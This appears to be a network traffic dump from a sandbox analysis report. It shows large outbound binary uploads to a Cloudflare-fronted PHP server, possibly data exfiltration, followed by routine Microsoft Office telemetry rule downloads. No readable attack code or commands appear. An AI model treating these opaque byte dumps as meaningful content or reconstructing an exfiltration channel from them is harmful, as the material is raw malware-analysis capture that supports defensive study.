2024-11-20 07:12:30 UTC	15331	OUT	Data Raw: 24 4b 8f 24 51 7f a4 dc d4 a9 c4 ad 9e fa c6 33 2c 3f 5a 17 1e a2 8b 6e 13 0b d8 47 dc 05 e7 7f fd 7c 37 87 1f 85 fa 3e 15 78 f9 97 70 d8 bd 42 f3 5d 62 3b 04 89 8b 65 3e e3 37 f5 23 bc b4 0a 33 e9 6d 85 2b 4f ea 02 dd d3 22 23 22 36 0f 5e 46 de ae 7b 56 10 fe 8d 3a 93 3e c7 52 47 9d 5a 17 67 d8 ed 69 41 5f dd 8f 4f a3 cd 13 9b bf 18 8a ae 0c cb d0 85 3e 66 53 66 08 6e bc e0 92 82 06 e4 d8 d6 3a 5d 69 b3 5d da bf 71 af 6e 3e 34 31 78 e6 66 c5 c6 35 9f f6 d3 47 4a ec b7 c7 8b e6 7f 3c 63 f9 4b 14 17 3b 02 fc a4 cf d2 4f 8d 81 67 ce c9 73 b1 06 6b 96 4f 6d d6 ff 8e 24 64 ea 27 58 27 a3 4a 33 0f 01 df 9f ec a5 d1 7d 00 ee f1 ec 4a f2 af fb af 5c ce 08 75 1b 00 cb f6 de 09 d0 11 70 09 1c 1a bc 77 c8 29 75 3c 41 1d 07 4c 38 65 52 47 ff bb d3 e6 21 0e be 20 04 Data Ascii: $K$Q3,?ZnG\|7>xpB]b;e>7#3m+O"#"6^F{V:>RGZgiA_O>fSfn:]i]qn>41xf5GJ<cK;OgskOm$d'X'J3}J\upw)u<AL8eRG!
2024-11-20 07:12:30 UTC	15331	OUT	Data Raw: b9 5b 9d f9 d7 ff 63 a8 d5 67 39 fc ae c9 2b b5 43 59 80 f8 d1 2b a6 06 a8 e3 26 07 b4 40 ec 2f 41 fc 97 f9 b0 89 e7 38 9f cf 95 6a ad 87 5b 5e 35 dc 24 89 71 c5 f9 0f 28 10 79 ad bd a6 c6 93 87 40 be 57 28 ed 09 1b 16 7b 3e 22 f3 57 9e 61 3b 00 23 df ba 76 74 30 12 a4 d6 be 39 95 74 3d 56 41 3d 01 50 5b 8d a2 bf 90 3a 09 ea 61 d5 5e 73 89 8d a1 7f 7b 24 6f f2 2c 68 0d ad 9f a3 93 8c 3e c2 c9 a4 74 96 e1 8d e0 fa c5 70 4e 5e 86 1e 6f 46 4c 44 53 db 72 e2 e2 91 a4 b9 30 ef 9f eb 8d ba 24 95 ad 1c 9f 05 8f a4 bc 1f 36 43 62 5b 97 b2 7b 2e 16 6a 82 55 98 90 f0 d9 0d ce bf 1b db cb 2e 4a fd 32 af f2 fa e2 f0 4f 33 10 84 08 5c 64 6c ea 0c 8b 4b 52 e7 c3 44 5f 40 52 13 b8 9b 05 42 79 17 55 72 6f 00 8d 94 5d 52 7f 44 fe 6c 5a c4 0f 73 83 6b 29 84 61 ee e4 d7 b9 Data Ascii: [cg9+CY+&@/A8j[^5$q(y@W({>"Wa;#vt09t=VA=P[:a^s{$o,h>tpN^oFLDSr0$6Cb[{.jU.J2O3\dlKRD_@RByUro]RDlZsk)a
2024-11-20 07:12:30 UTC	15331	OUT	Data Raw: b0 1c fb ea bb 71 00 75 fd 1d af 43 a8 de a2 45 0b 7e 4d 61 f2 f7 29 d4 48 1a 77 41 84 a8 99 11 d4 6f 80 1c dd 56 97 7a f3 2a 30 32 83 32 1e 68 60 1e 51 37 2e 3b df da 25 44 c5 95 f2 ce 86 fc 6f e1 b8 d1 2a 0e b8 da c2 0e 20 d1 29 e1 b2 46 05 da 45 40 7d a1 00 5d e6 cd 38 4d 36 01 05 92 7f 7f f0 71 3d 46 06 b7 ba 53 6b b8 da f9 14 1a 1c d4 10 80 f0 64 c3 ba ea 0e 19 28 a3 14 48 8a c7 62 78 8e 6e b5 04 a7 be d0 99 fd 79 bd 91 f6 c2 f6 40 55 67 2c d7 71 3e 48 3d 04 27 67 6e 86 cb a8 97 0a 52 4b 9e 74 97 8b 62 2a 20 be b5 e2 72 49 f2 61 c4 e6 b1 15 37 87 08 a6 50 1b 0c cc a4 e2 d3 bd e7 6b 28 b6 29 0d e1 22 23 e7 6e a4 90 a5 85 0f 73 f1 5a 98 1e 3d e1 86 22 91 53 f8 a3 87 eb 77 55 eb ee f7 20 ee 46 75 3d 27 fc 3b 14 8a 08 15 c3 3a cd 97 3d 33 ef 17 cd c5 58 Data Ascii: quCE~Ma)HwAoVz022h`Q7.;%Do )FE@}]8M6q=FSkd(Hbxny@Ug,q>H='gnRKtb* rIa7Pk()"#nsZ="SwU Fu=';:=3X
2024-11-20 07:12:30 UTC	15331	OUT	Data Raw: 42 a1 24 47 35 7f 3b b4 35 ad c2 15 e7 bb ab b1 29 67 1e 22 c4 0b a4 96 50 8c d1 7b 71 84 eb 7f d4 62 a3 05 c6 e7 1f ce 9a d7 74 99 29 ad 97 0f 9e ff 9d b6 b8 66 59 0a cd 17 c0 6d 87 23 97 33 7c d0 15 7b 2c 82 96 af 5c b1 c1 83 97 65 ff 1e ac 77 43 be 9a 1d 08 49 02 49 fc 68 39 7b 5f c5 97 31 fb 70 5d 0b 62 6b fc 28 7f 22 c4 fb 3f 5c a7 d1 54 d1 b7 55 6b c6 4e 4a 6b b4 39 30 37 e9 6a 3d 7c c3 67 b3 25 fe e2 2d 72 9f 49 a3 45 1e 21 35 80 63 f9 4c 4d bd 29 3b 2e 36 36 3c c7 88 1a 1b 94 21 81 ff d5 5d a4 bd 5a 4c 68 6b dd d0 6b 21 e3 04 2e 8d aa cd fd 02 d3 97 31 cf 15 05 41 e2 43 2a 47 78 96 44 66 58 09 83 01 55 01 f8 6c 5a 53 17 fd 70 bb 49 c8 e1 b9 6b a6 26 58 38 11 da 51 0a 42 48 c1 b4 18 78 8f 40 d2 3e 02 0e e8 dc 82 98 9f 54 c1 3e 01 53 07 c0 1c fe 74 Data Ascii: B$G5;5)g"P{qbt)fYm#3\|{,\ewCIIh9{_1p]bk("?\TUkNJk907j=\|g%-rIE!5cLM);.66<!]ZLhkk!.1AC*GxDfXUlZSpIk&X8QBHx@>T>St
2024-11-20 07:12:30 UTC	15331	OUT	Data Raw: 69 0a 55 f0 df 40 86 fb 07 75 30 6b 81 a3 6a 23 0d 8a b8 ed 1c e1 06 d3 4c 19 f9 57 59 15 fc ef cb d6 78 44 f1 c2 a4 32 3e 0a b5 1d ab a6 dd a4 e6 12 39 b9 f2 e3 1d 55 5d 8e b2 88 37 5c 39 6d 3c 1f d5 d9 be 77 a7 e9 e5 d7 52 9d db ef 38 cf c4 86 9b 8f 88 b4 bc 01 07 7b a3 15 e6 7e 1a 96 54 61 0e a0 44 12 71 38 22 53 a9 c8 1b f3 5c ca fe 8b 21 1e 7b 96 ac db bb e6 e5 c1 9f d0 cb a4 f5 a0 92 e8 10 ab f9 0c 2c 24 5f 0e 62 c3 5f 8f fb 23 68 67 0e bf da b1 9c b0 db fd 7d aa 25 c9 04 8d 14 9c d9 22 db 32 55 12 3d 2a 25 fb 5d 01 c3 7f 56 15 52 b5 20 76 69 4d 97 be ae e9 2c 91 8b 8e 13 e2 2c f4 45 39 4b 3f f1 93 ac 53 f3 00 97 1f 51 21 9e a1 1c 61 7d 3e c0 0e 10 4a 90 cd e1 f9 45 af e8 b0 9a 29 ff ce f8 20 f5 da 95 c3 00 e6 c8 f5 b9 71 87 e5 1c c4 00 89 35 d4 6a Data Ascii: iU@u0kj#LWYxD2>9U]7\9m<wR8{~TaDq8"S\!{,$_b_#hg}%"2U=*%]VR viM,,E9K?SQ!a}>JE) q5j
2024-11-20 07:12:30 UTC	15331	OUT	Data Raw: 23 cc ae b7 6b f2 d3 ed 28 88 6a 27 39 69 40 82 fb 08 63 d0 d7 17 8d 1a a9 00 88 42 b2 1a 1b 67 e1 c7 00 45 d2 37 5d 98 c3 42 2f a0 a8 db 42 60 06 4e 81 9c 22 01 76 ed c9 44 87 58 9c fa 0b 0d 29 13 f4 f7 d9 6c d0 86 34 ab c8 4f b6 4c 42 9f f9 2c f9 6e 39 51 70 da 10 ed dc c9 34 41 f1 8a f6 0c e6 d7 76 1e d1 4b 82 1a 13 68 00 9e 5a f5 dc aa b0 9b da 84 60 a9 63 d6 68 73 d0 e3 77 c1 52 9c 6d d8 f6 b5 7c 04 25 09 d5 2b ec 61 d4 c5 96 bf 75 09 84 f3 df f4 bc a0 3d 7c 67 99 db 7d 93 3f 84 72 a0 0f 9a b2 c4 fd 9c 58 45 ae 1d 10 bf 1f ee 2f c1 61 56 f2 db b7 d9 00 2c f4 f3 19 49 2d 23 c2 58 03 91 18 60 c2 2b 97 a4 da 8f d4 0a a7 d6 a2 5b d0 dc 59 90 43 4b 25 a4 9c a0 46 26 cf 59 7c 60 7c 77 cd 59 86 34 09 7b 0b 5d 5f 05 6f 53 91 43 4c d1 5b 14 8b 7f a8 cb 49 bf Data Ascii: #k(j'9i@cBgE7]B/B`N"vDX)l4OLB,n9Qp4AvKhZ`chswRm\|%+au=\|g}?rXE/aV,I-#X`+[YCK%F&Y\|`\|wY4{]_oSCL[I
2024-11-20 07:12:30 UTC	15331	OUT	Data Raw: e2 03 e2 62 6a d9 9e 42 b7 d1 da c6 d1 d2 79 67 5a b4 fb 2d b9 14 20 11 27 cb 3f 3c fa a1 27 4b 22 44 db a6 22 74 f6 2e 51 5b cc 95 e3 7c ca 57 ec c4 38 a7 5c 88 b3 e6 f4 c3 ff 27 03 11 fe 48 69 a9 12 02 c6 8e fe aa 9c 3f 6e d2 1d 14 41 b2 b6 74 b5 22 44 cd ff a8 80 3c 8d 06 39 6f 48 fa 57 5e c4 44 7f 52 59 0b 78 50 1a 71 87 6c 85 b4 1d bc ad df d6 7a 04 45 a8 6e 97 b9 e5 f2 26 0f 84 15 3d a0 e5 a3 50 7a 37 0c 1b 58 13 d8 53 20 d4 5f 08 28 2f 83 82 70 cc ff 5e 81 43 6a 43 fc 3a d6 0f 01 23 b7 9b 19 aa 03 fd a0 8c 5b b8 ce 64 e7 91 43 18 52 3f c3 d8 ee 2d 1d 82 d5 10 b8 2e cd b6 11 33 b2 ca ee 65 bf 09 e7 e3 32 12 75 1f 78 5e b6 96 5c 3e 1b 81 5a 78 5b 28 37 86 18 56 d1 4f a5 b5 ed e3 bd 54 6e 3b a2 4e 4d 44 7c d2 a1 7c 6c 85 ee 56 30 4e 0f 48 78 b3 1f 65 Data Ascii: bjBygZ- '?<'K"D"t.Q[\|W8\'Hi?nAt"D<9oHW^DRYxPqlzEn&=Pz7XS _(/p^CjC:#[dCR?-.3e2ux^\>Zx[(7VOTn;NMD\|\|lV0NHxe
2024-11-20 07:12:30 UTC	15331	OUT	Data Raw: 3c 67 d2 1c 50 8b 8e 17 cc 3e ba 56 cf c0 44 ab 2a 17 cc d1 4b 5e 89 3e ab 5d 3e b6 14 e8 77 c8 cc 42 01 24 4e 21 e9 27 31 86 3c c6 75 ad ef d6 65 7d ca c5 53 03 86 08 ff cb 05 f4 a2 fd 9f 7f 74 0b 80 17 2e 34 41 ce 45 91 b9 9f 3b 52 a9 d1 54 41 70 1c c6 fd 3b 31 9d d2 5a 5f 7b 5f 8c c0 2b e8 fe dc fd 89 db 57 8d 8d b8 27 28 2c cb 29 4e c3 bd 66 3a 62 43 5f 9e d6 71 d7 c7 8a 24 f7 fa 99 09 11 02 d3 2f c4 a3 01 be db 7f be ef c1 f9 62 28 f4 df cd f3 23 09 d3 a8 18 41 a0 7f c4 0e 63 c8 bc 63 5d 05 40 69 83 02 13 9f 78 97 ce 4f 4a 27 d5 4e 70 f4 fe dd 82 48 4f 20 e0 11 cc 28 59 7c 28 e5 b9 5e 22 01 5f 68 61 bc 41 e0 83 f1 dd 1a 74 9e 3b ab 30 28 4f 79 9f b0 26 22 3f 95 d9 e5 b1 da f8 45 e7 b9 1e 74 4a 10 a1 24 22 a4 01 0a 6c d9 c9 7a 9c b7 6b 0d 52 b1 18 66 Data Ascii: <gP>VD*K^>]>wB$N!'1<ue}St.4AE;RTAp;1Z_{_+W'(,)Nf:bC_q$/b(#Acc]@ixOJ'NpHO (Y\|(^"_haAt;0(Oy&"?EtJ$"lzkRf
2024-11-20 07:12:34 UTC	984	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sefae2ijrvofctj52jbas7bt2s; expires=Sun, 16-Mar-2025 00:59:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=X19Y65XIiPtSWGxwu5njcPJ2FebcnjyxNfbQ2CoVlt2Cg3CHvg5AFT83%2BxdnjHGwlrvl8bPt2XivpQhVdAogPRuvyB4cBltWZwpE2XJY4LPhfQykVgXEQNSe141Y5G44"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e56a1d1bacb43f8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1578&sent=201&recv=607&lost=0&retrans=0&sent_bytes=2829&recv_bytes=590666&delivery_rate=1801357&cwnd=209&unsent_bytes=0&cid=6abe869ef9adbb8b&ts=3186&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.6	49795	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:31 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:31 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:31 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 8e68b69a-701e-005c-5c8c-3abb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071231Z-185f5d8b95cf7qddhC1NYC66an0000000a1g000000001pq4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:31 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.6	49796	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:31 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:31 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 47e3bf54-c01e-0082-038c-3aaf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071231Z-185f5d8b95cdh56ghC1NYCk1x400000003rg00000000acfm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:31 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.6	49799	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:31 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:31 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 733c6689-901e-007b-288c-3aac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071231Z-185f5d8b95crl6swhC1NYC3ueg0000000a4g0000000007sq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:31 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.6	49800	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:31 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:31 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:31 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 85babd8c-f01e-003f-4e8c-3ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071231Z-r1d97b99577ndm4rhC1TEBf0ps00000008r0000000002n11 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:31 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.6	49801	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:31 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:31 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:31 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: c9ccbc18-001e-0014-5cf1-3a5151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071231Z-r1d97b99577656nchC1TEBk98c00000008f000000000fq9g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:31 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.6	49803	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:31 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:31 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:31 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 6d4f85c2-e01e-0003-2b8c-3a0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071231Z-185f5d8b95cmd8vfhC1NYC0g4000000005t0000000008z7w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:31 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.6	49802	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:31 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:31 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:31 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: d35eb2be-501e-0064-3d8c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071231Z-1777c6cb7549x5qchC1TEBggbg000000099000000000bsyv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
